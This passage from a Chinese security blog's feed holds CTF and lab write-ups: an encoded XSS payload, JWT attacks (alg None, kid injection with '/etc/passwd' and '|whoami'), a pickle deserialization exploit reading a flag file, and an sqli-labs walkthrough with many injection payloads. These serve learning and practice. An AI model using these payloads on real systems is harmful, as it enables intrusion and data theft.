&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;15&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;amp;#x6a;&amp;amp;#x61;&amp;amp;#x76;&amp;amp;#x61;&amp;amp;#x73;&amp;amp;#x63;&amp;amp;#x72;&amp;amp;#x69;&amp;amp;#x70;&amp;amp;#x74;&amp;amp;#x3a;&amp;amp;#x25;&amp;amp;#x35;&amp;amp;#x63;&amp;amp;#x25;&amp;amp;#x37;&amp;amp;#x35;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x30;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x30;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x36;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x31;&amp;amp;#x25;&amp;amp;#x35;&amp;amp;#x63;&amp;amp;#x25;&amp;amp;#x37;&amp;amp;#x35;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x30;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x30;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x36;&amp;amp;#x25;&amp;amp;#x36;&amp;amp;#x33;&amp;amp;#x25;&amp;amp;#x35;&amp;amp;#x63;&amp;amp;#x25;&amp;amp;#x37;&amp;amp;#x35;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x30;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x30;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x36;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x35;&amp;amp;#x25;&amp;amp;#x35;&amp;amp;#x63;&amp;amp;#x25;&amp;amp;#x37;&amp;amp;#x35;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x30;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x30;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x37;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x32;&amp;amp;#x25;&amp;amp;#x35;&amp;amp;#x63;&amp;amp;#x25;&amp;amp;#x37;&amp;amp;#x35;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x30;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x30;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x37;&amp;amp;#x25;&amp;amp;#x33;&amp;amp;#x34;&amp;amp;#x28;&amp;amp;#x31;&amp;amp;#x35;&amp;amp;#x29;&quot;&amp;gt;&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;html解码，得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;href识别出是JavaScript协议，URL解码得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;javascript:\u0061\u006c\u0065\u0072\u0074(15)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以执行&lt;/p&gt;
&lt;p&gt;总结&lt;/p&gt;
</content:encoded></item><item><title>jwt学习笔记</title><link>https://rayepeng.net/posts/jwt%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</link><guid isPermaLink="true">https://rayepeng.net/posts/jwt%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/</guid><pubDate>Tue, 10 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;基本概念&lt;/h2&gt;
&lt;p&gt;JWT的全称是Json Web Token。它遵循JSON格式，将用户信息加密到token里，服务器不保存任何用户信息，只保存密钥信息，通过使用特定加密算法验证token，通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。&lt;/p&gt;
&lt;p&gt;jwt由三个部分组成&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;header.payload.signature
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先看 &lt;code&gt;header&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;alg&lt;/code&gt; 指定了token加密使用的算法（最常用的为&lt;strong&gt;HMAC&lt;/strong&gt;和&lt;strong&gt;RSA&lt;/strong&gt;算法&lt;/p&gt;
&lt;p&gt;HMAC：对称&lt;/p&gt;
&lt;p&gt;RSA：非对称&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HASH: 压缩&lt;/p&gt;
&lt;p&gt;MAC: 带密钥的hash&lt;/p&gt;
&lt;p&gt;HMAC: MAC的一种&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;{
        &quot;alg&quot; : &quot;HS256&quot;,
        &quot;typ&quot; : &quot;jwt&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;payload&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;相关的数据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;user_role&quot; : &quot;finn&quot;,    //当前登录用户
    &quot;iss&quot;: &quot;admin&quot;,          //该JWT的签发者
    &quot;iat&quot;: 1573440582,        //签发时间
    &quot;exp&quot;: 1573940267,        //过期时间
    &quot;nbf&quot;: 1573440582,         //该时间之前不接收处理该Token
    &quot;domain&quot;: &quot;example.com&quot;,   //面向的用户
    &quot;jti&quot;: &quot;dff4214121e83057655e10bd9751d657&quot;   //Token唯一标识
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;signature&lt;/code&gt; ,保护token完整性&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;signature = HMAC-SHA256(base64urlEncode(header) + &apos;.&apos; + base64urlEncode(payload), secret_key)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;pyjwt&lt;/h2&gt;
&lt;p&gt;（注意是必须 pip install pyjwt&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;In [1]: import jwt

In [2]: encoded_jwt = jwt.encode({&apos;user_name&apos;: &apos;admin&apos;}, &apos;key&apos;, algorithm=&apos;HS256&apos;)

In [3]: encoded_jwt
Out[3]: b&apos;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX25hbWUiOiJhZG1pbiJ9.fN_uBYJZuGWi_XnqKe_HDo6EYBU8Te1nanJRBnpnPns&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://jwt.io/&quot;&gt;https://jwt.io/&lt;/a&gt; 解密&lt;/p&gt;
&lt;p&gt;可以看到并不需要key也可以直接解密，有点像flask 的session&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584601836858.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解密&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;In [4]: print(jwt.decode(encoded_jwt, &apos;key&apos;, algorithms=[&apos;HS256&apos;]))
{&apos;user_name&apos;: &apos;admin&apos;}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;攻击方式&lt;/h2&gt;
&lt;h3&gt;空加密算法&lt;/h3&gt;
&lt;p&gt;JWT支持使用空加密算法，可以在header中指定alg为&lt;code&gt;None&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;pyjwt生成空加密算法的jwt&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;In [10]: encoded_jwt = jwt.encode({&apos;user_name&apos;: &apos;admin&apos;}, &apos;key&apos;, headers={&quot;alg&quot;:&quot;None&quot;, &quot;typ&quot;:&quot;jwt&quot;})

In [11]: encoded_jwt
Out[11]: b&apos;eyJ0eXAiOiJqd3QiLCJhbGciOiJOb25lIn0.eyJ1c2VyX25hbWUiOiJhZG1pbiJ9.73u0KBesnvDB-k3jhmyzzPnExs8gUsxaYG2MBtBeNtg&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1584602118605.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;修改加密算法RSA为HMAC(未尝试)&lt;/h3&gt;
&lt;p&gt;理论：&lt;/p&gt;
&lt;p&gt;一个Web应用，在JWT传输过程中使用RSA算法，密钥&lt;code&gt;pem&lt;/code&gt;对JWT token进行签名，公钥&lt;code&gt;pub&lt;/code&gt;对签名进行验证。&lt;/p&gt;
&lt;p&gt;通常情况下密钥&lt;code&gt;pem&lt;/code&gt;是无法获取到的，但是公钥&lt;code&gt;pub&lt;/code&gt;却可以很容易通过某些途径读取到，这时，将JWT的加密算法修改为HMAC&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;alg&quot; : &quot;HS256&quot;,
    &quot;typ&quot; : &quot;jwt&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;同时使用公钥pub作为密钥，这样服务端接收到的数据就会用HMAC的方式来验证了&lt;/p&gt;
&lt;h3&gt;爆破密钥&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/brendan-rius/c-jwt-cracker&quot;&gt;c-jwt-cracker&lt;/a&gt;了解一下&lt;/p&gt;
&lt;h3&gt;修改kid参数&lt;/h3&gt;
&lt;p&gt;用来指定私钥位置，也可以修改？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;alg&quot; : &quot;HS256&quot;,
    &quot;typ&quot; : &quot;jwt&quot;,
    &quot;kid&quot; : &quot;/home/jwt/.ssh/pem&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;任意文件读取？(有点骚)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;alg&quot; : &quot;HS256&quot;,
    &quot;typ&quot; : &quot;jwt&quot;,
    &quot;kid&quot; : &quot;/etc/passwd&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;SQL注入&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{
    &quot;alg&quot; : &quot;HS256&quot;,
    &quot;typ&quot; : &quot;jwt&quot;,
    &quot;kid&quot; : &quot;key11111111&apos; || union select &apos;secretkey&apos; -- &quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;命令注入&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&quot;/path/to/key_file|whoami&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://xz.aliyun.com/t/6776#toc-4&quot;&gt;jwt安全问题&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>pickle反序列化</title><link>https://rayepeng.net/posts/pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</link><guid isPermaLink="true">https://rayepeng.net/posts/pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</guid><pubDate>Tue, 10 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;就分析几道例题吧&lt;/p&gt;
&lt;h2&gt;CISCN 2019 ikun&lt;/h2&gt;
&lt;p&gt;这题开始脑洞比较大&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583819034564.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后观察URL&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://b8869902-7911-4d16-bb0c-fe61550e2cea.node3.buuoj.cn/shop?page=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;开始以为这里有注入，因为加一个单引号网站就崩了&lt;/p&gt;
&lt;p&gt;但是不然。是需要找到 &lt;code&gt;lv6&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

URL = &quot;http://b8869902-7911-4d16-bb0c-fe61550e2cea.node3.buuoj.cn/shop?page=&quot;

for i in range(2000):
    res = requests.get(URL+str(i))
    if b&quot;lv6.png&quot; in res.content:
        print(i)
        break
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意 &lt;code&gt;res.content&lt;/code&gt; 返回的是byte类型， &lt;code&gt;res.text&lt;/code&gt; 会自动转码为字符串&lt;/p&gt;
&lt;p&gt;得到的结果是181&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583819267198.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当然按照管理你是买不起的&lt;/p&gt;
&lt;p&gt;抓个包改一下折扣&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583819306763.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入后台&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://b8869902-7911-4d16-bb0c-fe61550e2cea.node3.buuoj.cn/b1g_m4mber
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583819326133.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注意到是用jwt认证的，爆破一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583819359124.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后伪造一下进入admin，查看页面源代码有代码下载地址&lt;/p&gt;
&lt;p&gt;审计代码&lt;/p&gt;
&lt;p&gt;看到 &lt;code&gt;Admin.py&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
from sshop.base import BaseHandler



class AdminHandler(BaseHandler):
    @tornado.web.authenticated
    def get(self, *args, **kwargs):
        if self.current_user == &quot;admin&quot;:
            return self.render(&apos;form.html&apos;, res=&apos;This is Black Technology!&apos;, member=0)
        else:
            return self.render(&apos;no_ass.html&apos;)

    @tornado.web.authenticated
    def post(self, *args, **kwargs):
        try:
            become = self.get_argument(&apos;become&apos;)
            p = pickle.loads(urllib.unquote(become))
            return self.render(&apos;form.html&apos;, res=p, member=1)
        except:
            return self.render(&apos;form.html&apos;, res=&apos;This is Black Technology!&apos;, member=0)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;会反序列化传过来的 become 参数，于是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;


class payload(object):
    def __reduce__(self):
       return (eval, (&quot;open(&apos;/flag.txt&apos;,&apos;r&apos;).read()&quot;,))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;提交即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1583819516737.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;抗疫分享赛webtmp&lt;/h2&gt;
&lt;p&gt;这题涉及到了如何手动构造 pickle 数据&lt;/p&gt;
&lt;p&gt;复习一下指令&lt;/p&gt;
</content:encoded></item><item><title>requests文档阅读笔记</title><link>https://rayepeng.net/posts/requests%E6%96%87%E6%A1%A3%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/</link><guid isPermaLink="true">https://rayepeng.net/posts/requests%E6%96%87%E6%A1%A3%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B0/</guid><pubDate>Tue, 10 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;如何发送post请求&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;r = requests.post(&apos;http://httpbin.org/post&apos;, data = {&apos;key&apos;:&apos;value&apos;})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其他的请求也类似&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; r = requests.put(&apos;http://httpbin.org/put&apos;, data = {&apos;key&apos;:&apos;value&apos;})
&amp;gt;&amp;gt;&amp;gt; r = requests.delete(&apos;http://httpbin.org/delete&apos;)
&amp;gt;&amp;gt;&amp;gt; r = requests.head(&apos;http://httpbin.org/get&apos;)
&amp;gt;&amp;gt;&amp;gt; r = requests.options(&apos;http://httpbin.org/get&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;GET请求如何传递URL参数&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;In [12]: r = requests.get(url,params={&quot;key1&quot;:&quot;1&quot;, &quot;key2&quot;:&quot;2&quot;})

In [13]: r.url
Out[13]: &apos;http://httpbin.org/get?key2=2&amp;amp;key1=1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是怎么传递数组呢？这是个问题&lt;/p&gt;
</content:encoded></item><item><title>sqli-lab记录</title><link>https://rayepeng.net/posts/sqli-lab%E8%AE%B0%E5%BD%95/</link><guid isPermaLink="true">https://rayepeng.net/posts/sqli-lab%E8%AE%B0%E5%BD%95/</guid><pubDate>Tue, 10 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;第一关 GET Error based- Single quotes&lt;/h2&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost/Less-1/?id=1&apos; order by 3 -- +
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581060199563.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;(火狐不知道为什么感觉有bug)&lt;/p&gt;
&lt;p&gt;在确定回显的时候，要注意去查一个不存在的数据&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost/Less-1/?id=888&apos; union select 1,2,3 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第二关 GET Error based-Intiger&lt;/h2&gt;
&lt;p&gt;没有单引号保护&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost/Less-2/?id=12312 union select 1,2,3 #
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581060927106.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第三关&lt;/h2&gt;
&lt;p&gt;加了括号保护&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$sql=&quot;SELECT * FROM users WHERE id=(&apos;$id&apos;) LIMIT 0,1&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;http://localhost/Less-3/?id=22333&apos; ) union select 1,2,3 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581061220464.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第四关&lt;/h2&gt;
&lt;p&gt;双引号保护&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost/Less-4/?id=1111&quot;) union select 1,2,3--+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581061432798.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第五关 Double injection-Single Quotes&lt;/h2&gt;
&lt;p&gt;这里理解一下报错注入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;select count(*),(concat(floor(rand(0)*2),(select version())))x from users group by x
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;floor(rand(0)*2)&lt;/code&gt; 产生的数据很有规律&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; select floor(rand(0)*2) from users
;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
|                1 |
|                0 |
|                0 |
|                1 |
|                1 |
|                1 |
|                0 |
|                1 |
+------------------+
0110 1100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再看 &lt;code&gt;group by&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;首先计算第一次 &lt;code&gt;group by&lt;/code&gt; 后面的字段值，然后去查找有没有，没有就需要插入，插入的时候需要再计算一次&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/he_and/article/details/80455884&quot;&gt;参考&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在第三次插入的时候出问题&lt;/p&gt;
&lt;p&gt;最后的payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost/Less-5/?id=2&apos; and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581062957254.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;数据库也可以这样查&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mysql&amp;gt; select group_concat(schema_name) from information_schema.schemata;
+--------------------------------------------------------------------------------------------------------------------------------+
| group_concat(schema_name)                                                                                                      |
+--------------------------------------------------------------------------------------------------------------------------------+
| information_schema,challenges,ctf,dvwa,ed01,mysql,newdb,performance_schema,reservation,security,sys,test,tptest,typecho,xinxiu |
+--------------------------------------------------------------------------------------------------------------------------------+
1 row in set
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简单一点的 payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost/Less-5/?id=1&apos; and (select 1 from (select count(*),  concat((select database()), floor(rand(0)*2))x from information_schema.tables group by x )a) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第六关&lt;/h2&gt;
&lt;p&gt;同第五关类似&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost/Less-6/?id=2&quot; and (select 1 from (select count(*), concat(floor(rand(0)*2), (select database()))x from information_schema.tables group by x)a) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581063846151.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第七关&lt;/h2&gt;
&lt;p&gt;是写shell，但是我没有成功(其实是因为mysql开了权限吧估计)&lt;/p&gt;
&lt;h2&gt;第八关&lt;/h2&gt;
&lt;p&gt;布尔盲注(多加一些括号)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost/Less-8/?id=1&apos; and (select ascii(mid((select database()), 1,1)))=115 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581064726062.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第九关 延时注入&lt;/h2&gt;
&lt;p&gt;延时注入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost/Less-9/?id=1&apos; and (select  if(ascii(substr(database(),1,1))&amp;gt;200 , sleep(5), NULL) ) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581065698494.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第十关&lt;/h2&gt;
&lt;p&gt;延时注入，只是换成了双引号&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost/Less-10/?id=1&quot; and (select if( ascii(substr(database(),1,1)) &amp;gt; 40, sleep(5), NULL)) --+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581065865089.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第十一关&lt;/h2&gt;
&lt;p&gt;POST形式的单引号&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uname=&amp;amp;passwd=admin&apos; union select 1,2-- +&amp;amp;submit=Submit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581079686829.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第十二关&lt;/h2&gt;
&lt;p&gt;POST形式的双引号&lt;/p&gt;
&lt;p&gt;payload(这次测试发现 &lt;code&gt;--+&lt;/code&gt; 不行，需要换成 #)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uname=a&amp;amp;passwd=admin&quot;) union select 1,2# &amp;amp;submit=Submit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581079951209.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第十三关&lt;/h2&gt;
&lt;p&gt;有报错回显，但是并没有其他的数据回显&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581080112218.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;payload(遇到困难加括号就行了)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uname=admin&amp;amp;passwd=admin&apos;) and (select 1 from (select count(*), concat(floor(rand(0)*2),(select database()))x from information_schema.tables group by x)a)  #&amp;amp;submit=Submit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581080519639.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第十四关&lt;/h2&gt;
&lt;p&gt;同上一关类似&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uname=admin&amp;amp;passwd=admin&quot; and (select 1 from (select count(*), concat(floor(rand(0)*2), (select database()))x  from information_schema.tables group by x)a)# &amp;amp;submit=Submit
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第十五关&lt;/h2&gt;
&lt;p&gt;延时注入,注意只能用 &lt;code&gt;#&lt;/code&gt; 注释？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uname=admin&amp;amp;passwd=admin &apos; and (select  if(ascii(substr(database(),1,1))&amp;gt;30, sleep(5), NULL) ) #&amp;amp;submit=Submit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581081075376.png&quot; alt=&quot;明显看到延时&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第十六关&lt;/h2&gt;
&lt;p&gt;同十五关&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uname=admin&amp;amp;passwd=admin&quot;) and (select  if(ascii(substr(database(),1,1))&amp;gt;30, sleep(5), NULL) ) #&amp;amp;submit=Submit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581081206257.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第十七关 报错注入&lt;/h2&gt;
&lt;p&gt;update形式的注入，这里可以使用 报错注入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uname=admin&amp;amp;passwd=admin&apos;  and (updatexml(1,concat(0x3a,(select database())),1)) #&amp;amp;submit=Submit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581081624347.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第十八关&lt;/h2&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User-Agent: 1&apos; or updatexml(1,concat(0x3a,(database())),0),&apos;&apos;,&apos;&apos;)#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581082594671.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第十九关&lt;/h2&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Referer:  1&apos; or updatexml(1,concat(0x3a,(database())),0), &apos;&apos;)#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;INSERT 形式的注入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581083050547.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第二十关&lt;/h2&gt;
&lt;p&gt;cookie形式的报错注入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin&apos; and (updatexml(1,concat(0x3a,(select database())),1)) #
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581124084727.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第二十一关&lt;/h2&gt;
&lt;p&gt;需要base64编码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin&apos; ) and (updatexml(1, concat(0x3a, (select database()),0x3a ) ,1)) #
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编码之后&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;YWRtaW4nICkgYW5kICh1cGRhdGV4bWwoMSwgY29uY2F0KDB4M2EsIChzZWxlY3QgZGF0YWJhc2UoKSksMHgzYSApICwxKSkgIw==
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581124754782.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第二十二关&lt;/h2&gt;
&lt;p&gt;改成了双引号闭合&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin&quot; and (updatexml(1, concat(0x3a, (select database()),0x3a ) ,1)) #
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;base64编码之后&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;YWRtaW4iIGFuZCAodXBkYXRleG1sKDEsIGNvbmNhdCgweDNhLCAoc2VsZWN0IGRhdGFiYXNlKCkpLDB4M2EgKSAsMSkpICM=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581137685241.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;第二十三关&lt;/h2&gt;
&lt;p&gt;这一次把注释符过滤了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/1581137728016.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$reg = &quot;/#/&quot;;
$reg1 = &quot;/--/&quot;;
